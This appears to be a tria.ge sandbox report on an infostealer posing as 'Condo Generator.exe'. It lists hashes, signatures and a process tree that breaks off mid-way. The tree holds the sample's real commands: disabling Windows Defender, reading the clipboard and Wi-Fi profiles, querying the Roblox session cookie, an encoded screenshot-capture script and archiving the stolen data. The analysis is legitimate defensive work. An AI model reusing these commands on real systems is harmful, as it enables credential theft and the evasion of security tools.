Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    36s
  • max time network
    41s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    08/12/2024, 17:59

General

  • Target

    Condo Generator.exe

  • Size

    7.6MB

  • MD5

    aaa66aaeb3d90ecabe69ebe1f6acdb02

  • SHA1

    2d6082695846c6bea8687cf870927dbb82ecca25

  • SHA256

    77de7712c3a343e47dae2dd44176531767a03f8b47c2bff1a1b8cf1885e6f8d1

  • SHA512

    a2b6cfebb43378f2cd9f471c227091ffe8d22bbe15cc11be7249600a14ff250d9410bbb6af4e5e68ac0a457ca7f11c44688ad3f6a1704b99606002c62ba60ace

  • SSDEEP

    196608:StHY9JwfI9jUCzi4H1qSiXLGVi7DMgpZ3Q0VMwICEc/jR:+IHziK1piXLGVE4Ue0VJl

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

    Using powershell.exe command.

  • Drops file in Drivers directory 3 IoCs
  • Clipboard Data 1 TTPs 2 IoCs

    Adversaries may collect data stored in the clipboard from users copying information within or between applications.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 17 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Enumerates processes with tasklist 1 TTPs 5 IoCs
  • UPX packed file 46 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

  • Detects videocard installed 1 TTPs 3 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Suspicious behavior: EnumeratesProcesses 21 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Views/modifies file attributes 1 TTPs 2 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Condo Generator.exe
    "C:\Users\Admin\AppData\Local\Temp\Condo Generator.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4924
    • C:\Users\Admin\AppData\Local\Temp\Condo Generator.exe
      "C:\Users\Admin\AppData\Local\Temp\Condo Generator.exe"
      2⤵
      • Drops file in Drivers directory
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:5008
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Condo Generator.exe'"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:904
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Condo Generator.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1976
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1724
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4572
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Your condo has been generated!', 0, 'Condo Generator', 48+16);close()""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3644
        • C:\Windows\system32\mshta.exe
          mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Your condo has been generated!', 0, 'Condo Generator', 48+16);close()"
          4⤵
            PID:1884
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:4428
          • C:\Windows\system32\tasklist.exe
            tasklist /FO LIST
            4⤵
            • Enumerates processes with tasklist
            • Suspicious use of AdjustPrivilegeToken
            PID:4496
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:2496
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic csproduct get uuid
            4⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1232
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:3064
          • C:\Windows\system32\reg.exe
            REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2
            4⤵
              PID:3648
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:1784
            • C:\Windows\system32\reg.exe
              REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2
              4⤵
                PID:4888
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:3184
              • C:\Windows\System32\Wbem\WMIC.exe
                wmic path win32_VideoController get name
                4⤵
                • Detects videocard installed
                • Suspicious use of AdjustPrivilegeToken
                PID:4212
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:4064
              • C:\Windows\System32\Wbem\WMIC.exe
                wmic path win32_VideoController get name
                4⤵
                • Detects videocard installed
                PID:1716
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\     .scr'"
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:4300
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\     .scr'
                4⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                PID:4456
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:2652
              • C:\Windows\system32\tasklist.exe
                tasklist /FO LIST
                4⤵
                • Enumerates processes with tasklist
                PID:2028
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:3876
              • C:\Windows\system32\tasklist.exe
                tasklist /FO LIST
                4⤵
                • Enumerates processes with tasklist
                PID:4312
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
              3⤵
                PID:372
                • C:\Windows\System32\Wbem\WMIC.exe
                  WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
                  4⤵
                    PID:4020
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
                  3⤵
                  • Clipboard Data
                  PID:1824
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    powershell Get-Clipboard
                    4⤵
                    • Clipboard Data
                    • Suspicious behavior: EnumeratesProcesses
                    PID:532
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                  3⤵
                    PID:2424
                    • C:\Windows\system32\tasklist.exe
                      tasklist /FO LIST
                      4⤵
                      • Enumerates processes with tasklist
                      PID:3896
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /c "tree /A /F"
                    3⤵
                      PID:3620
                      • C:\Windows\system32\tree.com
                        tree /A /F
                        4⤵
                          PID:3520
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
                        3⤵
                        • System Network Configuration Discovery: Wi-Fi Discovery
                        PID:4584
                        • C:\Windows\system32\netsh.exe
                          netsh wlan show profile
                          4⤵
                          • Event Triggered Execution: Netsh Helper DLL
                          • System Network Configuration Discovery: Wi-Fi Discovery
                          PID:3376
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /c "systeminfo"
                        3⤵
                          PID:3140
                          • C:\Windows\system32\systeminfo.exe
                            systeminfo
                            4⤵
                            • Gathers system information
                            PID:3056
                        • C:\Windows\system32\cmd.exe
                          C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"
                          3⤵
                            PID:1660
                            • C:\Windows\system32\reg.exe
                              REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
                              4⤵
                                PID:3192
                            • C:\Windows\system32\cmd.exe
                              C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
                              3⤵
                                PID:4256
                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                  powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
                                  4⤵
                                  • Suspicious behavior: EnumeratesProcesses
                                  PID:4472
                                  • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                                    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\wd1o33rh\wd1o33rh.cmdline"
                                    5⤵
                                      PID:4756
                                      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                                        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESF7DD.tmp" "c:\Users\Admin\AppData\Local\Temp\wd1o33rh\CSC19D69DE6314DB58EA26D2D599D98CA.TMP"
                                        6⤵
                                          PID:2584
                                  • C:\Windows\system32\cmd.exe
                                    C:\Windows\system32\cmd.exe /c "tree /A /F"
                                    3⤵
                                      PID:1880
                                      • C:\Windows\system32\tree.com
                                        tree /A /F
                                        4⤵
                                          PID:220
                                      • C:\Windows\system32\cmd.exe
                                        C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"
                                        3⤵
                                          PID:4504
                                          • C:\Windows\system32\attrib.exe
                                            attrib -r C:\Windows\System32\drivers\etc\hosts
                                            4⤵
                                            • Drops file in Drivers directory
                                            • Views/modifies file attributes
                                            PID:4260
                                        • C:\Windows\system32\cmd.exe
                                          C:\Windows\system32\cmd.exe /c "tree /A /F"
                                          3⤵
                                            PID:3020
                                            • C:\Windows\system32\tree.com
                                              tree /A /F
                                              4⤵
                                                PID:2268
                                            • C:\Windows\system32\cmd.exe
                                              C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"
                                              3⤵
                                                PID:3612
                                                • C:\Windows\system32\attrib.exe
                                                  attrib +r C:\Windows\System32\drivers\etc\hosts
                                                  4⤵
                                                  • Drops file in Drivers directory
                                                  • Views/modifies file attributes
                                                  PID:3028
                                              • C:\Windows\system32\cmd.exe
                                                C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                                                3⤵
                                                  PID:4496
                                                  • C:\Windows\system32\tasklist.exe
                                                    tasklist /FO LIST
                                                    4⤵
                                                    • Enumerates processes with tasklist
                                                    PID:1924
                                                • C:\Windows\system32\cmd.exe
                                                  C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                  3⤵
                                                    PID:4580
                                                    • C:\Windows\system32\tree.com
                                                      tree /A /F
                                                      4⤵
                                                        PID:2460
                                                    • C:\Windows\system32\cmd.exe
                                                      C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                      3⤵
                                                        PID:1884
                                                        • C:\Windows\system32\tree.com
                                                          tree /A /F
                                                          4⤵
                                                            PID:3428
                                                        • C:\Windows\system32\cmd.exe
                                                          C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                          3⤵
                                                            PID:2152
                                                            • C:\Windows\system32\tree.com
                                                              tree /A /F
                                                              4⤵
                                                                PID:4176
                                                            • C:\Windows\system32\cmd.exe
                                                              C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
                                                              3⤵
                                                                PID:4612
                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                  powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                                                                  4⤵
                                                                  • Command and Scripting Interpreter: PowerShell
                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                  PID:924
                                                              • C:\Windows\system32\cmd.exe
                                                                C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
                                                                3⤵
                                                                  PID:4552
                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                    powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                                                                    4⤵
                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                    PID:3868
                                                                • C:\Windows\system32\cmd.exe
                                                                  C:\Windows\system32\cmd.exe /c "getmac"
                                                                  3⤵
                                                                    PID:1988
                                                                    • C:\Windows\system32\getmac.exe
                                                                      getmac
                                                                      4⤵
                                                                        PID:4072
                                                                    • C:\Windows\system32\cmd.exe
                                                                      C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI49242\rar.exe a -r -hp"blank1234" "C:\Users\Admin\AppData\Local\Temp\doiko.zip" *"
                                                                      3⤵
                                                                        PID:2192
                                                                        • C:\Users\Admin\AppData\Local\Temp\_MEI49242\rar.exe
                                                                          C:\Users\Admin\AppData\Local\Temp\_MEI49242\rar.exe a -r -hp"blank1234" "C:\Users\Admin\AppData\Local\Temp\doiko.zip" *
                                                                          4⤵
                                                                          • Executes dropped EXE
                                                                          PID:4472
                                                                      • C:\Windows\system32\cmd.exe
                                                                        C:\Windows\system32\cmd.exe /c "wmic os get Caption"
                                                                        3⤵
                                                                          PID:2500
                                                                          • C:\Windows\System32\Wbem\WMIC.exe
                                                                            wmic os get Caption
